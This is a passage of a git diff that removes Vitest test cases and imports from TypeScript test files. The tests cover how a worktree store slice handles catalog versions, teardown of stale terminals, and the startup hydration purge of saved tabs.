 import { worktreeCatalogVersionKey } from './worktree-catalog-version-state'
@@ -15,8 +10,7 @@ import {
   createTestStore,
   mockApi,
   resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall
+  resetWorktreeSliceModuleMemory
 } from '../worktrees-slice-test-harness'
 
 vi.mock('sonner', () => ({
@@ -31,290 +25,6 @@ beforeEach(() => {
 const HOST = 'host-epoch'
 const APPLIED_BY_CREATE: WorktreeCatalogVersion = { epoch: HOST, sequence: 7 }
 
-function seed(store: ReturnType<typeof createTestStore>) {
-  const created = makeWorktree({
-    id: 'repo1::/path/created',
-    repoId: 'repo1',
-    path: '/path/created'
-  })
-  const surviving = makeWorktree({
-    id: 'repo1::/path/surviving',
-    repoId: 'repo1',
-    path: '/path/surviving'
-  })
-  store.setState({
-    repos: [
-      { id: 'repo1', path: '/path/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-    ],
-    worktreesByRepo: { repo1: [created, surviving] },
-    detectedWorktreesByRepo: { repo1: makeDetectedResult('repo1', [created, surviving]) },
-    tabsByWorktree: {
-      [created.id]: [makeTerminalTab({ id: 'tab-created', worktreeId: created.id })]
-    },
-    // The create reply that produced `created` has been applied at sequence 7.
-    worktreeCatalogVersionByRepoHost: {
-      [worktreeCatalogVersionKey('repo1', 'local')]: APPLIED_BY_CREATE
-    }
-  })
-  return { created, surviving }
-}
-
-// Version admission must precede teardown, not just merge, or stale listings stop live terminals.
-describe('fetchWorktrees with a listing versioned before an applied create', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    resetWorktreeSliceModuleMemory()
-  })
-
-  it("neither tears down the created worktree's terminals nor purges it, then lists again", async () => {
-    const store = createTestStore()
-    const { created, surviving } = seed(store)
-    mockApi.worktrees.listDetected
-      .mockImplementationOnce(async (args) =>
-        qualifyDetectedResult(
-          args,
-          makeDetectedResult('repo1', [surviving], { catalogVersion: { epoch: HOST, sequence: 6 } })
-        )
-      )
-      .mockImplementationOnce(async (args) =>
-        qualifyDetectedResult(
-          args,
-          makeDetectedResult('repo1', [created, surviving], {
-            catalogVersion: { epoch: HOST, sequence: 7 }
-          })
-        )
-      )
-
-    await expect(store.getState().fetchWorktrees('repo1')).resolves.toBe(true)
-
-    expect(mockApi.runtime.call).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'worktree.teardownMissingTerminals' })
-    )
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([
-      created.id,
-      surviving.id
-    ])
-    expect(store.getState().tabsByWorktree[created.id]).toBeDefined()
-    // Relist once after refusal: a joined change-event refresh may have no other answer at the applied version.
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledTimes(2)
-    expect(
-      store.getState().worktreeCatalogVersionByRepoHost[worktreeCatalogVersionKey('repo1', 'local')]
-    ).toBe(APPLIED_BY_CREATE)
-  })
-
-  it('lists again at most once, even when the second listing is also stale', async () => {
-    const store = createTestStore()
-    const { created, surviving } = seed(store)
-    const staleListing = async (args: Parameters<typeof qualifyDetectedResult>[0]) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult('repo1', [surviving], { catalogVersion: { epoch: HOST, sequence: 6 } })
-      )
-    mockApi.worktrees.listDetected
-      .mockImplementationOnce(staleListing)
-      .mockImplementationOnce(staleListing)
-      .mockImplementationOnce(async (args) =>
-        qualifyDetectedResult(
-          args,
-          makeDetectedResult('repo1', [created, surviving], {
-            catalogVersion: { epoch: HOST, sequence: 7 }
-          })
-        )
-      )
-
-    await expect(store.getState().fetchWorktrees('repo1')).resolves.toBe(false)
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledTimes(2)
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([
-      created.id,
-      surviving.id
-    ])
-  })
-
-  // Why both: the startup hydration pass and later refreshes list through separate call sites.
-  it.each([true, false])(
-    'fetchAllWorktrees neither tears down nor purges on a listing older than the create (hydrated purge: %s)',
-    async (hasHydratedWorktreePurge) => {
-      const store = createTestStore()
-      const { created, surviving } = seed(store)
-      store.setState({ hasHydratedWorktreePurge })
-      mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-        qualifyDetectedResult(
-          args,
-          makeDetectedResult('repo1', [surviving], { catalogVersion: { epoch: HOST, sequence: 6 } })
-        )
-      )
-
-      await store.getState().fetchAllWorktrees()
-
-      expect(mockApi.worktrees.listDetected).toHaveBeenCalledOnce()
-      expect(mockApi.runtime.call).not.toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'worktree.teardownMissingTerminals' })
-      )
-      expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([
-        created.id,
-        surviving.id
-      ])
-    }
-  )
-
-  it("a paired runtime's listing older than the create stops no terminals", async () => {
-    const store = createTestStore()
-    const runtimeHost = 'runtime:env-1'
-    const created = makeWorktree({ id: 'repo1::/r/created', repoId: 'repo1', hostId: runtimeHost })
-    const surviving = makeWorktree({
-      id: 'repo1::/r/surviving',
-      repoId: 'repo1',
-      hostId: runtimeHost
-    })
-    store.setState({
-      settings: { ...getDefaultSettings('/tmp'), activeRuntimeEnvironmentId: 'env-1' },
-      repos: [
-        {
-          id: 'repo1',
-          path: '/r/repo1',
-          displayName: 'Repo 1',
-          badgeColor: '#000',
-          addedAt: 0,
-          executionHostId: runtimeHost
-        }
-      ],
-      worktreesByRepo: { repo1: [created, surviving] },
-      worktreeCatalogVersionByRepoHost: {
-        [worktreeCatalogVersionKey('repo1', runtimeHost)]: APPLIED_BY_CREATE
-      }
-    })
-    runtimeEnvironmentCall.mockImplementation(async ({ method }: { method: string }) => ({
-      id: 'rpc',
-      ok: true,
-      result:
-        method === 'worktree.detectedList'
-          ? makeDetectedResult('repo1', [surviving], {
-              catalogVersion: { epoch: HOST, sequence: 6 }
-            })
-          : {},
-      _meta: { runtimeId: 'runtime-remote' }
-    }))
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'worktree.detectedList' })
-    )
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-      expect.objectContaining({ method: 'worktree.teardownMissingTerminals' })
-    )
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([
-      created.id,
-      surviving.id
-    ])
-  })
-
-  it('control: a listing versioned after the create tears down and purges as before', async () => {
-    const store = createTestStore()
-    const { created, surviving } = seed(store)
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult('repo1', [surviving], { catalogVersion: { epoch: HOST, sequence: 8 } })
-      )
-    )
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(mockApi.runtime.call).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'worktree.teardownMissingTerminals',
-        params: expect.objectContaining({ repo: 'repo1', worktreeIds: [created.id] })
-      })
-    )
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([surviving.id])
-    expect(
-      store.getState().worktreeCatalogVersionByRepoHost[worktreeCatalogVersionKey('repo1', 'local')]
-    ).toEqual({ epoch: HOST, sequence: 8 })
-  })
-})
-
-// Record removal version before older scans can resurrect its row.
-describe('a listing versioned before an applied removal', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    resetWorktreeSliceModuleMemory()
-  })
-
-  it('does not bring the removed worktree back', async () => {
-    const store = createTestStore()
-    const { created, surviving } = seed(store)
-    mockApi.worktrees.remove.mockResolvedValueOnce({
-      catalogVersion: { epoch: HOST, sequence: 9 }
-    })
-
-    await store.getState().removeWorktree({ id: created.id, executionHostId: null })
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([surviving.id])
-
-    mockApi.worktrees.listDetected.mockImplementation(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult('repo1', [created, surviving], {
-          catalogVersion: { epoch: HOST, sequence: 8 }
-        })
-      )
-    )
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([surviving.id])
-  })
-})
-
-describe('catalog version bookkeeping', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    resetWorktreeSliceModuleMemory()
-  })
-
-  it('a repeated listing at the applied version changes no state', async () => {
-    const store = createTestStore()
-    const { created, surviving } = seed(store)
-    mockApi.worktrees.listDetected.mockImplementation(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult('repo1', [created, surviving], {
-          catalogVersion: { epoch: HOST, sequence: 7 }
-        })
-      )
-    )
-    await store.getState().fetchWorktrees('repo1')
-    const settled = store.getState()
-
-    await store.getState().fetchWorktrees('repo1')
-
-    expect(store.getState()).toBe(settled)
-  })
-
-  it('a version this client cannot order is treated as unstamped', async () => {
-    const store = createTestStore()
-    const { surviving } = seed(store)
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(args, {
-        ...makeDetectedResult('repo1', [surviving]),
-        // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: simulates a host publishing a shape this client does not know.
-        catalogVersion: { epoch: HOST, sequence: '9' } as unknown as WorktreeCatalogVersion
-      })
-    )
-
-    await store.getState().fetchWorktrees('repo1')
-
-    // Unstamped listings keep the pre-version behavior: applied, and nothing recorded.
-    expect(store.getState().worktreesByRepo.repo1?.map((w) => w.id)).toEqual([surviving.id])
-    expect(
-      store.getState().worktreeCatalogVersionByRepoHost[worktreeCatalogVersionKey('repo1', 'local')]
-    ).toBe(APPLIED_BY_CREATE)
-  })
-})
-
 // Defer startup purge if create overtakes listing; scanned rows omit the new workspace and would close its terminal/chat tabs.
 describe('the startup hydration purge behind a listing that is no longer current', () => {
   beforeEach(() => {
@@ -390,89 +100,4 @@ describe('the startup hydration purge behind a listing that is no longer current
     expect(store.getState().tabsByWorktree[zombieId]).toBeUndefined()
     expect(store.getState().hasHydratedWorktreePurge).toBe(true)
   })
-
-  it('defers when a listing is refused because its repo owner changed while it was in flight', async () => {
-    const store = createTestStore()
-    const surviving = makeWorktree({ id: 'repo1::/path/surviving', repoId: 'repo1' })
-    const zombieId = 'repo1::/path/deleted-last-session'
-    const repo1 = {
-      id: 'repo1',
-      path: '/path/repo1',
-      displayName: 'Repo 1',
-      badgeColor: '#000',
-      addedAt: 0
-    }
-    store.setState({
-      repos: [repo1],
-      tabsByWorktree: { [zombieId]: [makeTerminalTab({ id: 'tab-zombie', worktreeId: zombieId })] }
-    })
-    mockApi.worktrees.listDetected.mockImplementation(async (args) => {
-      // A second owner on the same host makes the listing's owner ambiguous by the time it lands.
-      store.setState({ repos: [repo1, { ...repo1 }] })
-      return qualifyDetectedResult(args, makeDetectedResult('repo1', [surviving]))
-    })
-
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().tabsByWorktree[zombieId]).toBeDefined()
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-  })
-})
-
-// An older listing must neither roll back the create's catalog nor report the repo stale.
-describe('a direct SSH listing older than an applied create', () => {
-  const sshHost = 'ssh:ssh-1'
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    resetWorktreeSliceModuleMemory()
-  })
-
-  function seedSsh(store: ReturnType<typeof createTestStore>) {
-    const created = makeWorktree({
-      id: 'repo-ssh::/home/orca/created',
-      repoId: 'repo-ssh',
-      path: '/home/orca/created',
-      hostId: sshHost
-    })
-    store.setState({
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ],
-      worktreesByRepo: { 'repo-ssh': [created] },
-      worktreeCatalogVersionByRepoHost: {
-        [worktreeCatalogVersionKey('repo-ssh', sshHost)]: APPLIED_BY_CREATE
-      }
-    })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult('repo-ssh', [], { catalogVersion: { epoch: HOST, sequence: 6 } })
-      )
-    )
-    return created
-  }
-
-  it('a direct-authority fetchWorktrees caller gets the same report, without a relist', async () => {
-    const store = createTestStore()
-    const created = seedSsh(store)
-
-    await expect(
-      store.getState().fetchWorktrees('repo-ssh', {
-        executionHostId: sshHost,
-        directSshAuthority: TEST_SSH_AUTHORITY
-      })
-    ).resolves.toMatchObject({ status: 'complete' })
-
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledOnce()
-    expect(store.getState().worktreesByRepo['repo-ssh']?.map((w) => w.id)).toEqual([created.id])
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts b/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts
index c65f5206775..70ea36736d4 100644
--- a/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts
+++ b/src/renderer/src/store/slices/worktrees/listing/worktrees-hydration-purge.test.ts
@@ -1,23 +1,11 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
-import type { Tab } from '../../../../../../shared/tab-types'
-import type { RuntimeEnvironmentCallRequest } from '../../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { WORKTREE_REFRESH_CONCURRENCY } from './worktree-slice-constants'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import { makeDetectedResult, qualifyDetectedResult } from './worktrees-detected-listing-fixtures'
-import { purgeHydratedWorktrees } from './hydrated-worktree-purge'
-import { worktreeCatalogVersionKey } from './worktree-catalog-version-state'
-import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import { makeFolderWorkspace } from '../../../folder-workspaces/folder-workspace.test-fixture'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
-  mockApi,
   resetRemoteRuntimeMocks,
   resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall,
-  runtimeEnvironmentTransportCall,
   worktreeListMock
 } from '../worktrees-slice-test-harness'
 
@@ -61,205 +49,6 @@ describe('fetchAllWorktrees hydration-time purge (design §4.4)', () => {
     addedAt: 0
   }
 
-  it('reuses unchanged startup scan evidence after restoring saved session', async () => {
-    const store = createTestStore()
-    const live = makeWorktree({ id: 'repoA::/a/live', repoId: 'repoA', path: '/a/live' })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult(repoA.id, [live], {
-          catalogVersion: { epoch: 'startup', sequence: 1 }
-        })
-      )
-    )
-    store.setState({
-      repos: [repoA],
-      hydrationSucceeded: false,
-      workspaceSessionReady: false
-    })
-    const results = await store.getState().fetchAllWorktrees({
-      visibilityOwnerHostId: 'local',
-      hydrationPurge: 'defer'
-    })
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    store.setState({
-      hydrationSucceeded: true,
-      workspaceSessionReady: true,
-      tabsByWorktree: {
-        'repoA::/a/stale': [makeTab({ id: 'saved', worktreeId: 'repoA::/a/stale' })]
-      }
-    })
-    purgeHydratedWorktrees(store.setState, store.getState, results)
-    expect(store.getState().hasHydratedWorktreePurge).toBe(true)
-    expect(store.getState().tabsByWorktree['repoA::/a/stale']).toBeUndefined()
-  })
-
-  it('defers saved-session purge after newer catalog', async () => {
-    const store = createTestStore()
-    const live = makeWorktree({ id: 'repoA::/a/live', repoId: 'repoA', path: '/a/live' })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult(repoA.id, [live], {
-          catalogVersion: { epoch: 'startup', sequence: 1 }
-        })
-      )
-    )
-    store.setState({
-      repos: [repoA],
-      hydrationSucceeded: false,
-      workspaceSessionReady: false
-    })
-    const results = await store.getState().fetchAllWorktrees({
-      visibilityOwnerHostId: 'local',
-      hydrationPurge: 'defer'
-    })
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    store.setState({
-      hydrationSucceeded: true,
-      workspaceSessionReady: true,
-      tabsByWorktree: {
-        'repoA::/a/stale': [makeTab({ id: 'saved', worktreeId: 'repoA::/a/stale' })]
-      }
-    })
-    store.setState({
-      worktreeCatalogVersionByRepoHost: {
-        [worktreeCatalogVersionKey(repoA.id, 'local')]: { epoch: 'startup', sequence: 2 }
-      }
-    })
-    purgeHydratedWorktrees(store.setState, store.getState, results)
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree['repoA::/a/stale']).toEqual([
-      expect.objectContaining({ id: 'saved', worktreeId: 'repoA::/a/stale' })
-    ])
-  })
-
-  it('defers saved-session purge after new owner', async () => {
-    const store = createTestStore()
-    const live = makeWorktree({ id: 'repoA::/a/live', repoId: 'repoA', path: '/a/live' })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult(repoA.id, [live], {
-          catalogVersion: { epoch: 'startup', sequence: 1 }
-        })
-      )
-    )
-    store.setState({
-      repos: [repoA],
-      hydrationSucceeded: false,
-      workspaceSessionReady: false
-    })
-    const results = await store.getState().fetchAllWorktrees({
-      visibilityOwnerHostId: 'local',
-      hydrationPurge: 'defer'
-    })
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    store.setState({
-      hydrationSucceeded: true,
-      workspaceSessionReady: true,
-      tabsByWorktree: {
-        'repoA::/a/stale': [makeTab({ id: 'saved', worktreeId: 'repoA::/a/stale' })]
-      }
-    })
-    store.setState({ repos: [repoA, repoB] })
-    purgeHydratedWorktrees(store.setState, store.getState, results)
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree['repoA::/a/stale']).toEqual([
-      expect.objectContaining({ id: 'saved', worktreeId: 'repoA::/a/stale' })
-    ])
-  })
-
-  it('defers saved-session purge after unloaded runtime', async () => {
-    const store = createTestStore()
-    const live = makeWorktree({ id: 'repoA::/a/live', repoId: 'repoA', path: '/a/live' })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(
-        args,
-        makeDetectedResult(repoA.id, [live], {
-          catalogVersion: { epoch: 'startup', sequence: 1 }
-        })
-      )
-    )
-    store.setState({
-      repos: [repoA],
-      hydrationSucceeded: false,
-      workspaceSessionReady: false
-    })
-    const results = await store.getState().fetchAllWorktrees({
-      visibilityOwnerHostId: 'local',
-      hydrationPurge: 'defer'
-    })
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    store.setState({
-      hydrationSucceeded: true,
-      workspaceSessionReady: true,
-      tabsByWorktree: {
-        'repoA::/a/stale': [makeTab({ id: 'saved', worktreeId: 'repoA::/a/stale' })]
-      }
-    })
-    store.setState({
-      restoredRuntimeHostIdByWorkspaceSessionKey: {
-        'remote-repo::/remote/saved': 'runtime:offline'
-      }
-    })
-    purgeHydratedWorktrees(store.setState, store.getState, results)
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree['repoA::/a/stale']).toEqual([
-      expect.objectContaining({ id: 'saved', worktreeId: 'repoA::/a/stale' })
-    ])
-  })
-
-  // D1b-7a: hydration keeps only a moved project's chats, which stay on this computer.
-  it("keeps a moved project's chats through the purge, and still purges a stale worktree", async () => {
-    const store = createTestStore()
-    const live = makeWorktree({ id: 'repoA::/a/live', repoId: 'repoA', path: '/a/live' })
-    mockApi.worktrees.listDetected.mockImplementationOnce(async (args) =>
-      qualifyDetectedResult(args, makeDetectedResult(repoA.id, [live]))
-    )
-    store.setState({ repos: [repoA], hydrationSucceeded: false, workspaceSessionReady: false })
-    const results = await store.getState().fetchAllWorktrees({
-      visibilityOwnerHostId: 'local',
-      hydrationPurge: 'defer'
-    })
-    const moved = 'moved-repo::\\\\wsl.localhost\\Ubuntu\\home\\dev\\app'
-    const chat: Tab = {
-      id: 'chat',
-      entityId: 'agent-session-1',
-      groupId: 'group-1',
-      worktreeId: moved,
-      contentType: 'agent-session',
-      label: 'Claude',
-      customLabel: null,
-      color: null,
-      sortOrder: 0,
-      createdAt: 0
-    }
-    store.setState({
-      hydrationSucceeded: true,
-      workspaceSessionReady: true,
-      wslMovedProjects: [
-        {
-          kind: 'repo',
-          id: 'moved-repo',
-          displayName: 'app',
-          path: '\\\\wsl.localhost\\Ubuntu\\home\\dev\\app',
-          distro: 'Ubuntu'
-        }
-      ],
-      tabsByWorktree: {
-        'repoA::/a/stale': [makeTab({ id: 'saved', worktreeId: 'repoA::/a/stale' })],
-        [moved]: []
-      },
-      unifiedTabsByWorktree: { [moved]: [chat] }
-    })
-    purgeHydratedWorktrees(store.setState, store.getState, results)
-    expect(store.getState().hasHydratedWorktreePurge).toBe(true)
-    expect(store.getState().tabsByWorktree['repoA::/a/stale']).toBeUndefined()
-    expect(store.getState().tabsByWorktree[moved]).toEqual([])
-    expect(store.getState().unifiedTabsByWorktree[moved]).toEqual([chat])
-  })
-
   it('defers the purge when a sibling repo fetch fails (F1 regression)', async () => {
     const store = createTestStore()
     const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' })
@@ -306,259 +95,6 @@ describe('fetchAllWorktrees hydration-time purge (design §4.4)', () => {
     })
   })
 
-  it('defers the purge when every repo succeeds but none returns worktrees (empty-sibling safety)', async () => {
-    const store = createTestStore()
-
-    // Empty valid-id union (both repos newly-cloned, empty) isn't authoritative — defer instead of wiping tabsByWorktree.
-    worktreeListMock.mockResolvedValue([])
-
-    store.setState({
-      repos: [repoA, repoB],
-      tabsByWorktree: {
-        'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }]
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree).toEqual({
-      'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }]
-    })
-  })
-
-  it('fires the purge once when every repo returns successfully with ≥1 worktree', async () => {
-    const store = createTestStore()
-    const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' })
-    const wtB = makeWorktree({ id: 'repoB::/b/wt1', repoId: 'repoB', path: '/b/wt1' })
-    const folderWorkspace = makeFolderWorkspace({ id: 'folder-keep' })
-    const folderKey = folderWorkspaceKey(folderWorkspace.id)
-
-    worktreeListMock.mockImplementation(async ({ repoId }: { repoId: string }) =>
-      repoId === 'repoA' ? [wtA] : [wtB]
-    )
-
-    store.setState({
-      repos: [repoA, repoB],
-      folderWorkspaces: [folderWorkspace],
-      tabsByWorktree: {
-        'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }],
-        'repoA::/a/zombie': [{ id: 'tab-zombie', worktreeId: 'repoA::/a/zombie' }],
-        'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }],
-        [folderKey]: [{ id: 'tab-folder', worktreeId: folderKey }]
-      },
-      gitIgnoredPathsByWorktree: {
-        'repoA::/a/wt1': ['dist/'],
-        'repoA::/a/zombie': ['coverage/'],
-        'repoB::/b/wt1': ['build/'],
-        [folderKey]: ['tmp/']
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().hasHydratedWorktreePurge).toBe(true)
-    expect(worktreeListMock).toHaveBeenCalledTimes(2)
-    expect(store.getState().tabsByWorktree).toEqual({
-      'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }],
-      'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }],
-      [folderKey]: [{ id: 'tab-folder', worktreeId: folderKey }]
-    })
-    expect(store.getState().gitIgnoredPathsByWorktree).toEqual({
-      'repoA::/a/wt1': ['dist/'],
-      'repoB::/b/wt1': ['build/'],
-      [folderKey]: ['tmp/']
-    })
-
-    // Second call must not re-run the purge even if new stale ids appear.
-    store.setState({
-      tabsByWorktree: {
-        ...store.getState().tabsByWorktree,
-        'repoA::/a/new-zombie': [{ id: 'tab-new-zombie', worktreeId: 'repoA::/a/new-zombie' }]
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchAllWorktrees()
-
-    expect(worktreeListMock).toHaveBeenCalledTimes(4)
-    expect(store.getState().tabsByWorktree['repoA::/a/new-zombie']).toBeDefined()
-  })
-
-  it('does not consume the one-shot purge before clean workspace session hydration', async () => {
-    const store = createTestStore()
-    const wtA = makeWorktree({ id: 'repoA::/a/wt1', repoId: 'repoA', path: '/a/wt1' })
-    const wtB = makeWorktree({ id: 'repoB::/b/wt1', repoId: 'repoB', path: '/b/wt1' })
-
-    worktreeListMock.mockImplementation(async ({ repoId }: { repoId: string }) =>
-      repoId === 'repoA' ? [wtA] : [wtB]
-    )
-
-    store.setState({
-      workspaceSessionReady: false,
-      hydrationSucceeded: false,
-      repos: [repoA, repoB],
-      tabsByWorktree: {
-        'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }],
-        'repoA::/a/zombie': [{ id: 'tab-zombie', worktreeId: 'repoA::/a/zombie' }],
-        'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }]
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree['repoA::/a/zombie']).toBeDefined()
-
-    store.setState({ workspaceSessionReady: true } as Partial<AppState>)
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().hasHydratedWorktreePurge).toBe(false)
-    expect(store.getState().tabsByWorktree['repoA::/a/zombie']).toBeDefined()
-
-    store.setState({ hydrationSucceeded: true } as Partial<AppState>)
-    await store.getState().fetchAllWorktrees()
-
-    expect(store.getState().hasHydratedWorktreePurge).toBe(true)
-    expect(store.getState().tabsByWorktree).toEqual({
-      'repoA::/a/wt1': [{ id: 'tab-A', worktreeId: 'repoA::/a/wt1' }],
-      'repoB::/b/wt1': [{ id: 'tab-B', worktreeId: 'repoB::/b/wt1' }]
-    })
-  })
-
-  it('preserves sibling host worktrees during hydrated refresh when repo ids are duplicated', async () => {
-    const store = createTestStore()
-    const localRepo = {
-      id: 'same-repo',
-      path: '/repos/local',
-      displayName: 'same local',
-      badgeColor: '#000',
-      addedAt: 0,
-      executionHostId: 'local'
-    }
-    const runtimeRepo = {
-      id: 'same-repo',
-      path: '/repos/remote',
-      displayName: 'same remote',
-      badgeColor: '#111',
-      addedAt: 1,
-      executionHostId: 'runtime:env-1'
-    }
-    const localWorktree = makeWorktree({
-      id: 'same-repo::/local/wt',
-      repoId: 'same-repo',
-      path: '/local/wt'
-    })
-    const staleRemoteWorktree = makeWorktree({
-      id: 'same-repo::/remote/stale',
-      repoId: 'same-repo',
-      path: '/remote/stale',
-      hostId: 'runtime:env-1'
-    })
-    const refreshedRemoteWorktree = makeWorktree({
-      id: 'same-repo::/remote/fresh',
-      repoId: 'same-repo',
-      path: '/remote/fresh',
-      hostId: 'local'
-    })
-
-    mockApi.worktrees.listDetected.mockResolvedValueOnce(
-      makeDetectedResult('same-repo', [localWorktree])
-    )
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-duplicate-worktrees',
-      ok: true,
-      result: makeDetectedResult('same-repo', [refreshedRemoteWorktree]),
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-
-    store.setState({
-      hasHydratedWorktreePurge: true,
-      repos: [localRepo, runtimeRepo],
-      worktreesByRepo: {
-        'same-repo': [localWorktree, staleRemoteWorktree]
-      },
-      detectedWorktreesByRepo: {
-        'same-repo': makeDetectedResult('same-repo', [localWorktree, staleRemoteWorktree])
-      }
-    } as unknown as Partial<AppState>)
-
-    await store.getState().fetchAllWorktrees()
-
-    const refreshed = store.getState().worktreesByRepo['same-repo'] ?? []
-    expect(refreshed).toHaveLength(2)
-    expect(refreshed).toEqual(
-      expect.arrayContaining([
-        localWorktree,
-        {
-          ...refreshedRemoteWorktree,
-          hostId: 'runtime:env-1',
-          runtimeOwnerEnvironmentId: 'env-1'
-        }
-      ])
-    )
-    expect(refreshed.map((worktree) => worktree.id)).not.toContain(staleRemoteWorktree.id)
-    expect(store.getState().detectedWorktreesByRepo['same-repo']?.worktrees).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({ id: localWorktree.id }),
-        expect.objectContaining({ id: refreshedRemoteWorktree.id, hostId: 'runtime:env-1' })
-      ])
-    )
-    expect(mockApi.worktrees.listDetected).toHaveBeenCalledWith(
-      expect.objectContaining({
-        repoId: 'same-repo',
-        executionHostId: 'local'
-      })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'worktree.detectedList',
-      params: { repo: 'same-repo' },
-      timeoutMs: 15_000
-    })
-  })
-
-  it('reuses an offline runtime preflight across hydrated all-worktree refresh repos', async () => {
-    const store = createTestStore()
-    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
-    const repos = Array.from({ length: WORKTREE_REFRESH_CONCURRENCY + 2 }, (_, index) => ({
-      id: `runtime-repo-${index}`,
-      path: `/remote/repos/${index}`,
-      displayName: `runtime-repo-${index}`,
-      badgeColor: '#000',
-      addedAt: 0,
-      executionHostId: 'runtime:env-offline'
-    }))
-
